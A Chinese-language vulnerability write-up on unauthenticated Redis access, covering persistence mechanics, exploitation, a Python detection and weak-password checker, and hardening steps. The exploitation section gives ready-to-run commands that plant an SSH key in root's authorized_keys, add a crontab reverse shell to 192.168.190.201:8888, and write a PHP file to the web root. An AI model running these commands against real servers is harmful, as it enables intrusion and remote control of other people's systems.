Redis unauthorised access

0x01 漏洞原理


目前Redis持久化的方式有两种: RDB 和 AOF
1)RDB
RDB就是Snapshot快照存储,是默认的持久化方式。
可理解为半持久化模式,即按照一定的策略周期性的将数据保存到磁盘。
对应产生的数据文件为dump.rdb,通过配置文件中的save参数来定义快照的周期。
下面是默认的快照设置:

save 900 1 #当有一条Keys数据被改变时,900秒刷新到Disk一次
save 300 10 #当有10条Keys数据被改变时,300秒刷新到Disk一次
save 60 10000 #当有10000条Keys数据被改变时,60秒刷新到Disk一次

可以很明显的看到,RDB有它的不足,就是一旦数据库出现问题,那么我们的RDB文件中保存的数据并不是全新的。
从上次RDB文件生成到Redis停机这段时间的数据全部丢掉了。
2)AOF
Redis会将每一个收到的写命令都通过Write函数追加到文件中,类似于MySQL的binlog。
当Redis重启是会通过重新执行文件中保存的写命令来在内存中重建整个数据库的内容。

其实redis未授权的利用主要是通过config动态修改配置,修改快照存储的文件名称和目录,来实现任意写入文件。

 

0x02 漏洞利用


1)如果ssh端口可以连接,可直接把自己生成的SSH公钥文件写入到user/.ssh的目录下,实现ssh免认证登录。Linux下可以设置SSH免密码登录,方法为使用”公私钥”认证,即首先在客户端上创建一对公私钥 (公钥文件:~/.ssh/id_rsa.pub; 私钥文件:~/.ssh/id_rsa)。然后把公钥放到服务器上(~/.ssh/authorized_keys), 自己保留好私钥.在使用ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配.如果匹配成功就可以登录了。

config set dir /root/.ssh/
config set dbfilename authorized_keys
set xxxx "生成的公钥"
save
exit

2)如果ssh端口未开放,可以写到crontab 里执行反弹。
利用方式如下:

echo -e "\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.190.201/8888 0>&1\n\n"|/usr/local/bin/redis-cli -h 192.168.192.120 -x set 1
/usr/local/bin/redis-cli -h 192.168.192.120 config set dir /var/spool/cron/
/usr/local/bin/redis-cli -h 192.168.192.120 config set dbfilename root
/usr/local/bin/redis-cli -h 192.168.192.120 save

3)针对Web服务如果知道web路径(例如phpinfo)可以直接写shell。

[root@vincent src]# ./redis-cli -h 172.16.100.151
172.16.100.151:6379> config set dir /var/www/html/
OK
172.16.100.151:6379> config set dbfilename redis.php
OK
172.16.100.151:6379> set webshell "<?php phpinfo(); ?>"
OK
172.16.100.151:6379> save
OK

 

0x03 漏洞检测


# -*- coding: utf8 -*-
'''
Description: Redis unauthorised access and weak password vulnerability.
'''
import socket
import sys

def redischeck(ip, port):
    try:
        socket.setdefaulttimeout(2)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("INFO\r\n")
        result = s.recv(1024)
        if "redis_version" in result:
            return "unauthorised access"
        elif "Authentication" in result:
            for password in PASS_DIC:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip, int(port)))
                s.send("AUTH %s\r\n" % (password))
                result = s.recv(1024)
                if '+OK' in result:
                    return "Week Password:%s" % (password)
    except Exception, e:
        print e
        pass
if __name__ == '__main__':
    PASS_DIC = ['admin', 'admin123']
    arg = sys.argv[1]
    if ':' in arg:
        ip = arg.split(':')[0]
        port = arg.split(':')[1]
    else:
        ip = arg
        port = 6379
    print ip, port, redischeck(ip, port)

 

0x04 漏洞防御


1)禁止以Root权限启动redis
2)添加认证requirepass xxxxxxxx
3)如果本地调用则bind 127.0.0.1,如果需要远程访问,则添加iptables限制访问源。